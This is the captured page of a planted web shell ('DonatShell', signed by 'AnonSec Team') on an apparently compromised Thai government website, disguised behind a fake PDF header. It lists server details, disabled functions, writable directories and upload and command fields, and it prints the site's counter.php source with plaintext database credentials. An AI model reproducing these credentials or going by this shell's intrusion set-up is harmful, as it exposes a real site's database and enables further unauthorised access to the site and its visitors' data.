%PDF-1.5 % ºaâÚÎΞ-ÌE1�ØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : dl,eval,exec,mail,passthru,popen,posix_getpwuid,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_uname,proc_close,proc_open,putenv,shell_exec,show_source,system
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moungngam/domains/moungngam.go.th/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/moungngam/domains/moungngam.go.th/public_html//counter.php
<?php
require_once('admin/Connections/conndb.php'); 
mysql_select_db($database_conndb, $conndb);
?>
<?php
/* ============================================================
   µÑǹѺ¼Ùéà¢éÒªÁàÇçºä«µì (à¢Õ¹ãËÁè - ÃͧÃѺ PHP 5.3+)
   - ãªé mysqli á·¹ mysql_* (¢Í§à´ÔÁ·ÕèàÅÔ¡ãªéä»áÅéÇ)
   - ãªéµÒÃÒ§à´ÔÁ·Ñé§ËÁ´: counter, daily
   - à¾ÔèÁµÒÃÒ§ "online" (ãËÁè - ÊÃéÒ§Íѵâ¹ÁѵԶéÒÂѧäÁèÁÕ) à¾×èÍÃͧÃѺ
     ªèͧ "¡ÓÅѧÍ͹äŹì" à¾ÃÒеÒÃÒ§à´ÔÁäÁèÁÕ¢éÍÁÙÅàÇÅÒ (timestamp)
   - äÁèãªé get_result() à¾ÃÒÐâÎʵìºÒ§·ÕèäÁèÁÕ mysqlnd driver
   - äÁèãªé short array [] áÅÐ ...spread à¾×èÍÃͧÃѺ PHP 5.3
   ============================================================ */

// ---------- µÑ駤èÒ¡ÒÃàª×èÍÁµèͰҹ¢éÍÁÙÅ ----------
$db_host = "localhost";
$db_user = "moungngam_data";
$db_pass = "qTETLPpBs2";
$db_name = "moungngam_data";

$conn = new mysqli($db_host, $db_user, $db_pass, $db_name);
if ($conn->connect_error) {
    die("àª×èÍÁµèͰҹ¢éÍÁÙÅäÁèÊÓàÃç¨: " . $conn->connect_error);
}
// °Ò¹¢éÍÁÙÅà´ÔÁà¡çºÀÒÉÒä·ÂẺ TIS-620 (¢Í§à´ÔÁ äÁèà»ÅÕè¹)
$conn->set_charset("tis620");
// ËÁÒÂà˵Ø: µÒÃÒ§ counter/daily à¡çºá¤è DATE, IP, NUM (äÁèÁÕ¢éͤÇÒÁä·Â)
// ´Ñ§¹Ñé¹ charset ¢Í§ DB ¨ÐäÁè¡Ãзº¢éͤÇÒÁä·Â·ÕèáÊ´§¼Å
// (»éÒ¡ӡѺä·Âà¢Õ¹ÍÂÙèã¹ä¿Åì¹Õéâ´ÂµÃ§ áÊ´§¼Åà»ç¹ UTF-8 µÒÁ»¡µÔ)

// ÊÃéÒ§µÒÃÒ§ online Íѵâ¹ÁѵԶéÒÂѧäÁèÁÕ (ãªéÊÓËÃѺªèͧ "¡ÓÅѧÍ͹äŹì" à·èÒ¹Ñé¹)
$conn->query(
    "CREATE TABLE IF NOT EXISTS online (
        ip VARCHAR(45) NOT NULL,
        last_active DATETIME NOT NULL,
        PRIMARY KEY (ip)
    )"
);

$today      = date("Y-m-d");
$yesterday  = date("Y-m-d", strtotime("-1 day"));
$thisMonth  = date("Y-m");
$lastMonth  = date("Y-m", strtotime("-1 month"));
$thisYear   = date("Y");
$lastYear   = date("Y", strtotime("-1 year"));
$ip         = $_SERVER["REMOTE_ADDR"];

// ---------- ¿Ñ§¡ìªÑ¹ªèÇ´֧¤èÒ 1 ¤ÍÅÑÁ¹ì äÁèãªé get_result() ----------
// (ÃͧÃѺâÎʵì·ÕèäÁèÁÕ mysqlnd driver)
function fetchOne($conn, $sql, $types = "", $params = array()) {
    $stmt = $conn->prepare($sql);
    if (!$stmt) {
        return null; // àªè¹ µÒÃÒ§äÁèÁÕ¨ÃÔ§ ËÃ×Í SQL ¼Ô´
    }
    if ($types !== "" && $params) {
        $bindParams = array();
        $bindParams[] = $types;
        for ($i = 0; $i < count($params); $i++) {
            $bindParams[] = &$params[$i];
        }
        call_user_func_array(array($stmt, "bind_param"), $bindParams);
    }
    $stmt->execute();
    $stmt->bind_result($value);
    $found = $stmt->fetch();
    $stmt->close();
    return $found ? $value : null;
}

function getCount($conn, $sql, $types = "", $params = array()) {
    $value = fetchOne($conn, $sql, $types, $params);
    return $value === null ? 0 : $value;
}

// ---------- ÂéÒ¢éÍÁÙŢͧ "Çѹ¡è͹˹éÒ" à¢éÒ daily áÅéÇà¤ÅÕÂÃì counter ----------
$lastDate = fetchOne($conn, "SELECT DATE FROM counter LIMIT 1");

if ($lastDate === null || $lastDate != $today) {

    // à¡çºÂÍ´¢Í§àÁ×èÍÇҹŧµÒÃÒ§ daily
    $stmt = $conn->prepare(
        "INSERT INTO daily (DATE, NUM)
         SELECT ?, COUNT(*) FROM counter WHERE DATE = ?"
    );
    if ($stmt) {
        $stmt->bind_param("ss", $yesterday, $yesterday);
        $stmt->execute();
        $stmt->close();
    }

    // ź¢éÍÁÙÅà¡èÒ·ÕèäÁèãªèÇѹ¹ÕéÍÍ¡¨Ò¡ counter
    $stmt = $conn->prepare("DELETE FROM counter WHERE DATE != ?");
    if ($stmt) {
        $stmt->bind_param("s", $today);
        $stmt->execute();
        $stmt->close();
    }
}

// ---------- ºÑ¹·Ö¡¡ÒÃà¢éÒªÁ¢Í§Çѹ¹Õé ----------
$stmt = $conn->prepare("INSERT INTO counter (DATE, IP) VALUES (?, ?)");
if ($stmt) {
    $stmt->bind_param("ss", $today, $ip);
    $stmt->execute();
    $stmt->close();
}

// ---------- ´Ö§ÂÍ´µÑÇàÅ¢µèÒ§ æ ----------
$strToday     = getCount($conn, "SELECT COUNT(DATE) AS c FROM counter WHERE DATE = ?", "s", array($today));
$strYesterday = getCount($conn, "SELECT NUM AS c FROM daily WHERE DATE = ?", "s", array($yesterday));
$strThisMonth = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = ?", "s", array($thisMonth));
$strLastMonth = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y-%m') = ?", "s", array($lastMonth));
$strThisYear  = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y') = ?", "s", array($thisYear));
$strLastYear  = getCount($conn, "SELECT SUM(NUM) AS c FROM daily WHERE DATE_FORMAT(DATE,'%Y') = ?", "s", array($lastYear));
$strAll       = getCount($conn, "SELECT SUM(NUM) AS c FROM daily");
// ÃÇÁÂÍ´¢Í§Çѹ¹Õé (·ÕèÂѧäÁè¶Ù¡ÂéÒÂà¢éÒ daily) à¢éÒä»ã¹ÂÍ´ÃÇÁ·Ñé§ËÁ´´éÇÂ
$strAll       = (int)$strAll + (int)$strToday;

// ---------- ONLINE NOW ----------
$now = date("Y-m-d H:i:s");
$stmt = $conn->prepare(
    "INSERT INTO online (ip, last_active) VALUES (?, ?)
     ON DUPLICATE KEY UPDATE last_active = ?"
);
if ($stmt) {
    $stmt->bind_param("sss", $ip, $now, $now);
    $stmt->execute();
    $stmt->close();
}

// ¶×ÍÇèÒ "Í͹äŹì" ¤×ÍÁÕ activity ÀÒÂã¹ 5 ¹Ò·ÕÅèÒÊØ´
$conn->query("DELETE FROM online WHERE last_active < (NOW() - INTERVAL 5 MINUTE)");
$strOnline = getCount($conn, "SELECT COUNT(*) AS c FROM online");

$conn->close();

// ---------- ¨Ñ´ÃٻẺµÑÇàÅ¢ ----------
function fmt($n) { return number_format((float)$n, 0); }
?>

<meta http-equiv="Content-Type" content="text/html; charset=windows-874">

<style>
    .visitor-stats {
        font-family: "Kanit", "Tahoma", sans-serif;
        border-radius: 6px;
        overflow: hidden;
        box-shadow: 0 2px 10px rgba(0,0,0,0.15);
        max-width: 100%;
    }
    .visitor-stats__bar {
        height: 6px;
        background: linear-gradient(90deg, #2b0a45, #6a1b9a, #2b0a45);
    }
    .visitor-stats__row {
        display: flex;
        flex-wrap: wrap;
        background: #f1e9fb;
        padding: 18px 10px;
    }
    .visitor-stats__item {
        flex: 1 1 0;
        min-width: 110px;
        text-align: center;
        padding: 6px 8px;
    }
    .visitor-stats__number {
        font-size: 24px;
        font-weight: 700;
        color: #5a189a;
        line-height: 1.3;
    }
    .visitor-stats__label {
        font-size: 13px;
        color: #7b5ea6;
        margin-top: 2px;
    }
</style>



<div class="visitor-stats">
    <div class="visitor-stats__bar"></div>
    <div class="visitor-stats__row">
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strToday); ?></div>
            <div class="visitor-stats__label">¼Ùéà¢éÒªÁÇѹ¹Õé</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strYesterday); ?></div>
            <div class="visitor-stats__label">àÁ×èÍÇÒ¹</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strThisMonth); ?></div>
            <div class="visitor-stats__label">à´×͹¹Õé</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strLastMonth); ?></div>
            <div class="visitor-stats__label">à´×͹·ÕèáÅéÇ</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strThisYear); ?></div>
            <div class="visitor-stats__label">»Õ¹Õé</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strLastYear); ?></div>
            <div class="visitor-stats__label">»Õ·ÕèáÅéÇ</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strAll); ?></div>
            <div class="visitor-stats__label">¼Ùéà¢éÒªÁ·Ñé§ËÁ´</div>
        </div>
        <div class="visitor-stats__item">
            <div class="visitor-stats__number"><?php echo fmt($strOnline); ?></div>
            <div class="visitor-stats__label">¡ÓÅѧÍ͹äŹì</div>
        </div>
    </div>
</div>


Anon7 - 2022
AnonSec Team